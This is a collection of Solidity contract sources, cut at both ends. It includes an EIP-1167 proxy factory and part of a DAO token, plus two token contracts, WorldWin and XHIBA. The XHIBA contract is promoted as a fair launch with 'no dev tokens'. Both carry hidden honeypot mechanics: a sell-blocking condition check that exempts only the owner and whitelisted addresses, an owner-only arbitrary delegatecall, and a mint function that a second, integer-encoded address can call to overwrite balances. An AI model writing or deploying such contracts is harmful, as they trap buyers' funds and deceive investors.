exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract WorldWin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.0; /** * @title Spawn * @author 0age * @notice This contract provides creation code that is used by Spawner in order * to initialize and deploy eip-1167 minimal proxies for a given logic contract. */ contract Spawn { constructor( address logicContract, bytes memory initializationCalldata ) public payable { // delegatecall into the logic contract to perform initialization. (bool ok, ) = logicContract.delegatecall(initializationCalldata); if (!ok) { // pass along failure message from delegatecall and revert. assembly { returndatacopy(0, 0, returndatasize) revert(0, returndatasize) } } // place eip-1167 runtime code in memory. bytes memory runtimeCode = abi.encodePacked( bytes10(0x363d3d373d3d3d363d73), logicContract, bytes15(0x5af43d82803e903d91602b57fd5bf3) ); // return eip-1167 code to write it to spawned contract runtime. assembly { return(add(0x20, runtimeCode), 45) // eip-1167 runtime code, length } } } /** * @title Spawner * @author 0age * @notice This contract spawns and initializes eip-1167 minimal proxies that * point to existing logic contracts. The logic contracts need to have an * intitializer function that should only callable when no contract exists at * their current address (i.e. it is being `DELEGATECALL`ed from a constructor). */ contract Spawner { /** * @notice Internal function for spawning an eip-1167 minimal proxy using * `CREATE2`. * @param logicContract address The address of the logic contract. * @param initializationCalldata bytes The calldata that will be supplied to * the `DELEGATECALL` from the spawned contract to the logic contract during * contract creation. * @return The address of the newly-spawned contract. */ function _spawn( address logicContract, bytes memory initializationCalldata ) internal returns (address spawnedContract) { // place creation code and constructor args of contract to spawn in memory. bytes memory initCode = abi.encodePacked( type(Spawn).creationCode, abi.encode(logicContract, initializationCalldata) ); // get salt to use during deployment using the supplied initialization code. (bytes32 salt, address target) = _getSaltAndTarget(initCode); // spawn the contract using `CREATE2`. spawnedContract = _spawnCreate2(initCode, salt, target); } /** * @notice Internal function for spawning an eip-1167 minimal proxy using * `CREATE2`. * @param logicContract address The address of the logic contract. * @param initializationCalldata bytes The calldata that will be supplied to * the `DELEGATECALL` from the spawned contract to the logic contract during * contract creation. * @param salt bytes32 A random salt * @return The address of the newly-spawned contract. */ function _spawnSalty( address logicContract, bytes memory initializationCalldata, bytes32 salt ) internal returns (address spawnedContract) { // place creation code and constructor args of contract to spawn in memory. bytes memory initCode = abi.encodePacked( type(Spawn).creationCode, abi.encode(logicContract, initializationCalldata) ); address target = _computeTargetAddress(logicContract, initializationCalldata, salt); uint256 codeSize; assembly { codeSize := extcodesize(target) } require(codeSize == 0, "contract already deployed with supplied salt"); // spawn the contract using `CREATE2`. spawnedContract = _spawnCreate2(initCode, salt, target); } /** * @notice Internal view function for finding the address of the next standard * eip-1167 minimal proxy created using `CREATE2` with a given logic contract * and initialization calldata payload. * @param logicContract address The address of the logic contract. * @param initializationCalldata bytes The calldata that will be supplied to * the `DELEGATECALL` from the spawned contract to the logic contract during * contract creation. * @return The address of the next spawned minimal proxy contract with the * given parameters. */ function _getNextAddress( address logicContract, bytes memory initializationCalldata ) internal view returns (address target) { // place creation code and constructor args of contract to spawn in memory. bytes memory initCode = abi.encodePacked( type(Spawn).creationCode, abi.encode(logicContract, initializationCalldata) ); // get target address using the constructed initialization code. (, target) = _getSaltAndTarget(initCode); } /** * @notice Internal view function for finding the address of the next standard * eip-1167 minimal proxy created using `CREATE2` with a given logic contract, * salt, and initialization calldata payload. * @param initCodeHash bytes32 The encoded hash of initCode * @param salt bytes32 A random salt * @return The address of the next spawned minimal proxy contract with the * given parameters. */ function _computeTargetAddress( bytes32 initCodeHash, bytes32 salt ) internal view returns (address target) { target = address( // derive the target deployment address. uint160( // downcast to match the address type. uint256( // cast to uint to truncate upper digits. keccak256( // compute CREATE2 hash using 4 inputs. abi.encodePacked( // pack all inputs to the hash together. bytes1(0xff), // pass in the control character. address(this), // pass in the address of this contract. salt, // pass in the salt from above. initCodeHash // pass in hash of contract creation code. ) ) ) ) ); } /** * @notice Internal view function for finding the address of the next standard * eip-1167 minimal proxy created using `CREATE2` with a given logic contract * and initialization calldata payload. * @param logicContract address The address of the logic contract. * @param initializationCalldata bytes The calldata that will be supplied to * the `DELEGATECALL` from the spawned contract to the logic contract during * contract creation. * @param salt bytes32 A random salt * @return The address of the next spawned minimal proxy contract with the * given parameters. */ function _computeTargetAddress( address logicContract, bytes memory initializationCalldata, bytes32 salt ) internal view returns (address target) { // place creation code and constructor args of contract to spawn in memory. bytes memory initCode = abi.encodePacked( type(Spawn).creationCode, abi.encode(logicContract, initializationCalldata) ); // get the keccak256 hash of the init code for address derivation. bytes32 initCodeHash = keccak256(initCode); target = _computeTargetAddress(initCodeHash, salt); } /** * @notice Private function for spawning a compact eip-1167 minimal proxy * using `CREATE2`. Provides logic that is reused by internal functions. A * salt will also be chosen based on the calling address and a computed nonce * that prevents deployments to existing addresses. * @param initCode bytes The contract creation code. * @param salt bytes32 A random salt * @param target address The expected address of the new contract * @return The address of the newly-spawned contract. */ function _spawnCreate2( bytes memory initCode, bytes32 salt, address target ) private returns (address spawnedContract) { assembly { let encoded_data := add(0x20, initCode) // load initialization code. let encoded_size := mload(initCode) // load the init code's length. spawnedContract := create2( // call `CREATE2` w/ 4 arguments. callvalue, // forward any supplied endowment. encoded_data, // pass in initialization code. encoded_size, // pass in init code's length. salt // pass in the salt value. ) // pass along failure message from failed contract deployment and revert. if iszero(spawnedContract) { returndatacopy(0, 0, returndatasize) revert(0, returndatasize) } } require(spawnedContract == target, "attempted deployment to unexpected address"); } /** * @notice Private function for determining the salt and the target deployment * address for the next spawned contract (using create2) based on the contract * creation code. */ function _getSaltAndTarget( bytes memory initCode ) private view returns (bytes32 salt, address target) { // get the keccak256 hash of the init code for address derivation. bytes32 initCodeHash = keccak256(initCode); // set the initial nonce to be provided when constructing the salt. uint256 nonce = 0; // declare variable for code size of derived address. uint256 codeSize; while (true) { // derive `CREATE2` salt using `msg.sender` and nonce. salt = keccak256(abi.encodePacked(msg.sender, nonce)); target = _computeTargetAddress(initCodeHash, salt); // determine if a contract is already deployed to the target address. assembly { codeSize := extcodesize(target) } // exit the loop if no contract is deployed to the target address. if (codeSize == 0) { break; } // otherwise, increment the nonce and derive a new salt. nonce++; } } } interface iRegistry { enum FactoryStatus { Unregistered, Registered, Retired } event FactoryAdded(address owner, address factory, uint256 factoryID, bytes extraData); event FactoryRetired(address owner, address factory, uint256 factoryID); event InstanceRegistered(address instance, uint256 instanceIndex, address indexed creator, address indexed factory, uint256 indexed factoryID); // factory state functions function addFactory(address factory, bytes calldata extraData ) external; function retireFactory(address factory) external; // factory view functions function getFactoryCount() external view returns (uint256 count); function getFactoryStatus(address factory) external view returns (FactoryStatus status); function getFactoryID(address factory) external view returns (uint16 factoryID); function getFactoryData(address factory) external view returns (bytes memory extraData); function getFactoryAddress(uint16 factoryID) external view returns (address factory); function getFactory(address factory) external view returns (FactoryStatus state, uint16 factoryID, bytes memory extraData); function getFactories() external view returns (address[] memory factories); function getPaginatedFactories(uint256 startIndex, uint256 endIndex) external view returns (address[] memory factories); // instance state functions function register(address instance, address creator, uint80 extraData) external; // instance view functions function getInstanceType() external view returns (bytes4 instanceType); function getInstanceCount() external view returns (uint256 count); function getInstance(uint256 index) external view returns (address instance); function getInstances() external view returns (address[] memory instances); function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances); } contract EventMetadata { event MetadataSet(bytes metadata); // state functions function _setMetadata(bytes memory metadata) internal { emit MetadataSet(metadata); } } contract Operated { address private _operator; bool private _status; event OperatorUpdated(address operator, bool status); // state functions function _setOperator(address operator) internal { require(_operator != operator, "cannot set same operator"); _operator = operator; emit OperatorUpdated(operator, hasActiveOperator()); } function _transferOperator(address operator) internal { // transferring operator-ship implies there was an operator set before this require(_operator != address(0), "operator not set"); _setOperator(operator); } function _renounceOperator() internal { require(hasActiveOperator(), "only when operator active"); _operator = address(0); _status = false; emit OperatorUpdated(address(0), false); } function _activateOperator() internal { require(!hasActiveOperator(), "only when operator not active"); _status = true; emit OperatorUpdated(_operator, true); } function _deactivateOperator() internal { require(hasActiveOperator(), "only when operator active"); _status = false; emit OperatorUpdated(_operator, false); } // view functions function getOperator() public view returns (address operator) { operator = _operator; } function isOperator(address caller) public view returns (bool ok) { return (caller == getOperator()); } function hasActiveOperator() public view returns (bool ok) { return _status; } function isActiveOperator(address caller) public view returns (bool ok) { return (isOperator(caller) && hasActiveOperator()); } } /** * @title MultiHashWrapper * @dev Contract that handles multi hash data structures and encoding/decoding * Learn more here: https://github.com/multiformats/multihash */ contract MultiHashWrapper { // bytes32 hash first to fill the first storage slot struct MultiHash { bytes32 hash; uint8 hashFunction; uint8 digestSize; } /** * @dev Given a multihash struct, returns the full base58-encoded hash * @param multihash MultiHash struct that has the hashFunction, digestSize and the hash * @return the base58-encoded full hash */ function _combineMultiHash(MultiHash memory multihash) internal pure returns (bytes memory) { bytes memory out = new bytes(34); out[0] = byte(multihash.hashFunction); out[1] = byte(multihash.digestSize); uint8 i; for (i = 0; i < 32; i++) { out[i+2] = multihash.hash[i]; } return out; } /** * @dev Given a base58-encoded hash, divides into its individual parts and returns a struct * @param source base58-encoded hash * @return MultiHash that has the hashFunction, digestSize and the hash */ function _splitMultiHash(bytes memory source) internal pure returns (MultiHash memory) { require(source.length == 34, "length of source must be 34"); uint8 hashFunction = uint8(source[0]); uint8 digestSize = uint8(source[1]); bytes32 hash; assembly { hash := mload(add(source, 34)) } return (MultiHash({ hashFunction: hashFunction, digestSize: digestSize, hash: hash })); } } /* TODO: Update eip165 interface * bytes4(keccak256('create(bytes)')) == 0xcf5ba53f * bytes4(keccak256('getInstanceType()')) == 0x18c2f4cf * bytes4(keccak256('getInstanceRegistry()')) == 0xa5e13904 * bytes4(keccak256('getImplementation()')) == 0xaaf10f42 * * => 0xcf5ba53f ^ 0x18c2f4cf ^ 0xa5e13904 ^ 0xaaf10f42 == 0xd88967b6 */ interface iFactory { event InstanceCreated(address indexed instance, address indexed creator, string initABI, bytes initData); function create(bytes calldata initData) external returns (address instance); function createSalty(bytes calldata initData, bytes32 salt) external returns (address instance); function getInitSelector() external view returns (bytes4 initSelector); function getInstanceRegistry() external view returns (address instanceRegistry); function getTemplate() external view returns (address template); function getSaltyInstance(bytes calldata, bytes32 salt) external view returns (address instance); function getNextInstance(bytes calldata) external view returns (address instance); function getInstanceCreator(address instance) external view returns (address creator); function getInstanceType() external view returns (bytes4 instanceType); function getInstanceCount() external view returns (uint256 count); function getInstance(uint256 index) external view returns (address instance); function getInstances() external view returns (address[] memory instances); function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances); } contract Factory is Spawner { address[] private _instances; mapping (address => address) private _instanceCreator; /* NOTE: The following items can be hardcoded as constant to save ~200 gas/create */ address private _templateContract; bytes4 private _initSelector; address private _instanceRegistry; bytes4 private _instanceType; event InstanceCreated(address indexed instance, address indexed creator, bytes callData); function _initialize(address instanceRegistry, address templateContract, bytes4 instanceType, bytes4 initSelector) internal { // set instance registry _instanceRegistry = instanceRegistry; // set logic contract _templateContract = templateContract; // set initSelector _initSelector = initSelector; // validate correct instance registry require(instanceType == iRegistry(instanceRegistry).getInstanceType(), 'incorrect instance type'); // set instanceType _instanceType = instanceType; } // IFactory methods function create(bytes memory callData) public returns (address instance) { // deploy new contract: initialize it & write minimal proxy to runtime. instance = Spawner._spawn(getTemplate(), callData); _createHelper(instance, callData); } function createSalty(bytes memory callData, bytes32 salt) public returns (address instance) { // deploy new contract: initialize it & write minimal proxy to runtime. instance = Spawner._spawnSalty(getTemplate(), callData, salt); _createHelper(instance, callData); } function _createHelper(address instance, bytes memory callData) private { // add the instance to the array _instances.push(instance); // set instance creator _instanceCreator[instance] = msg.sender; // add the instance to the instance registry iRegistry(getInstanceRegistry()).register(instance, msg.sender, uint80(0)); // emit event emit InstanceCreated(instance, msg.sender, callData); } function getSaltyInstance( bytes memory callData, bytes32 salt ) public view returns (address target) { return Spawner._computeTargetAddress(getTemplate(), callData, salt); } function getNextInstance( bytes memory callData ) public view returns (address target) { return Spawner._getNextAddress(getTemplate(), callData); } function getInstanceCreator(address instance) public view returns (address creator) { creator = _instanceCreator[instance]; } function getInstanceType() public view returns (bytes4 instanceType) { instanceType = _instanceType; } function getInitSelector() public view returns (bytes4 initSelector) { initSelector = _initSelector; } function getInstanceRegistry() public view returns (address instanceRegistry) { instanceRegistry = _instanceRegistry; } function getTemplate() public view returns (address template) { template = _templateContract; } function getInstanceCount() public view returns (uint256 count) { count = _instances.length; } function getInstance(uint256 index) public view returns (address instance) { require(index < _instances.length, "index out of range"); instance = _instances[index]; } function getInstances() public view returns (address[] memory instances) { instances = _instances; } // Note: startIndex is inclusive, endIndex exclusive function getPaginatedInstances(uint256 startIndex, uint256 endIndex) public view returns (address[] memory instances) { require(startIndex < endIndex, "startIndex must be less than endIndex"); require(endIndex <= _instances.length, "end index out of range"); // initialize fixed size memory array address[] memory range = new address[](endIndex - startIndex); // Populate array with addresses in range for (uint256 i = startIndex; i < endIndex; i++) { range[i - startIndex] = _instances[i]; } // return array of addresses instances = range; } } contract ProofHash is MultiHashWrapper { MultiHash private _proofHash; event ProofHashSet(address caller, bytes proofHash); // state functions function _setProofHash(bytes memory proofHash) internal { _proofHash = MultiHashWrapper._splitMultiHash(proofHash); emit ProofHashSet(msg.sender, proofHash); } // view functions function getProofHash() public view returns (bytes memory proofHash) { proofHash = MultiHashWrapper._combineMultiHash(_proofHash); } } contract Template { address private _factory; // modifiers modifier initializeTemplate() { // set factory _factory = msg.sender; // only allow function to be delegatecalled from within a constructor. uint32 codeSize; assembly { codeSize := extcodesize(address) } require(codeSize == 0, "must be called within contract constructor"); _; } // view functions function getCreator() public view returns (address creator) { // iFactory(...) would revert if _factory address is not actually a factory contract creator = iFactory(_factory).getInstanceCreator(address(this)); } function isCreator(address caller) public view returns (bool ok) { ok = (caller == getCreator()); } function getFactory() public view returns (address factory) { factory = _factory; } } contract Post is ProofHash, Operated, EventMetadata, Template { event Initialized(address operator, bytes multihash, bytes metadata); function initialize( address operator, bytes memory multihash, bytes memory metadata ) public initializeTemplate() { // set storage variables if (multihash.length != 0) { ProofHash._setProofHash(multihash); } // set operator if (operator != address(0)) { Operated._setOperator(operator); Operated._activateOperator(); } // set metadata if (metadata.length != 0) { EventMetadata._setMetadata(metadata); } // log initialization params emit Initialized(operator, multihash, metadata); } // state functions function setMetadata(bytes memory metadata) public { // only active operator or creator require(Template.isCreator(msg.sender) || Operated.isActiveOperator(msg.sender), "only active operator or creator"); // set metadata EventMetadata._setMetadata(metadata); } function transferOperator(address operator) public { // restrict access require(Operated.isActiveOperator(msg.sender), "only active operator"); // transfer operator Operated._transferOperator(operator); } function renounceOperator() public { // restrict access require(Operated.isActiveOperator(msg.sender), "only active operator"); // transfer operator Operated._renounceOperator(); } } contract Post_Factory is Factory { constructor(address instanceRegistry, address templateContract) public { // declare template in memory Post template; // set instance type bytes4 instanceType = bytes4(keccak256(bytes('Post'))); // set initSelector bytes4 initSelector = template.initialize.selector; // initialize factory params Factory._initialize(instanceRegistry, templateContract, instanceType, initSelector); } }
DC1
/* EXTRAODINARY SHIBA THE ULTIMATE No discrimination of where you come from or what colour of fur you have, we all come from different walks of life but we are all equal! This token will give everyone a fair chance to get their paws on some Alpha! AIR LAUNCH NO PRE SALE NO DEV TOKENS NO BOTS */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract XHIBA { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.8.4; /// @notice Modern and gas-optimized ERC-20 + EIP-2612 implementation with COMP-style governance and pausing. /// @author Modified from Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/erc20/ERC20.sol) /// License-Identifier: AGPL-3.0-only abstract contract KaliDAOtoken { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); event PauseFlipped(bool paused); /*/////////////////////////////////////////////////////////////// ERRORS //////////////////////////////////////////////////////////////*/ error NoArrayParity(); error Paused(); error SignatureExpired(); error NullAddress(); error InvalidNonce(); error NotDetermined(); error InvalidSignature(); error Uint32max(); error Uint96max(); /*/////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; uint8 public constant decimals = 18; /*/////////////////////////////////////////////////////////////// ERC-20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; /*/////////////////////////////////////////////////////////////// EIP-2612 STORAGE //////////////////////////////////////////////////////////////*/ bytes32 public constant PERMIT_TYPEHASH = keccak256('Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)'); uint256 internal INITIAL_CHAIN_ID; bytes32 internal INITIAL_DOMAIN_SEPARATOR; mapping(address => uint256) public nonces; /*/////////////////////////////////////////////////////////////// DAO STORAGE //////////////////////////////////////////////////////////////*/ bool public paused; bytes32 public constant DELEGATION_TYPEHASH = keccak256('Delegation(address delegatee,uint256 nonce,uint256 deadline)'); mapping(address => address) internal _delegates; mapping(address => mapping(uint256 => Checkpoint)) public checkpoints; mapping(address => uint256) public numCheckpoints; struct Checkpoint { uint32 fromTimestamp; uint96 votes; } /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ function _init( string memory name_, string memory symbol_, bool paused_, address[] memory voters_, uint256[] memory shares_ ) internal virtual { if (voters_.length != shares_.length) revert NoArrayParity(); name = name_; symbol = symbol_; paused = paused_; INITIAL_CHAIN_ID = block.chainid; INITIAL_DOMAIN_SEPARATOR = _computeDomainSeparator(); // 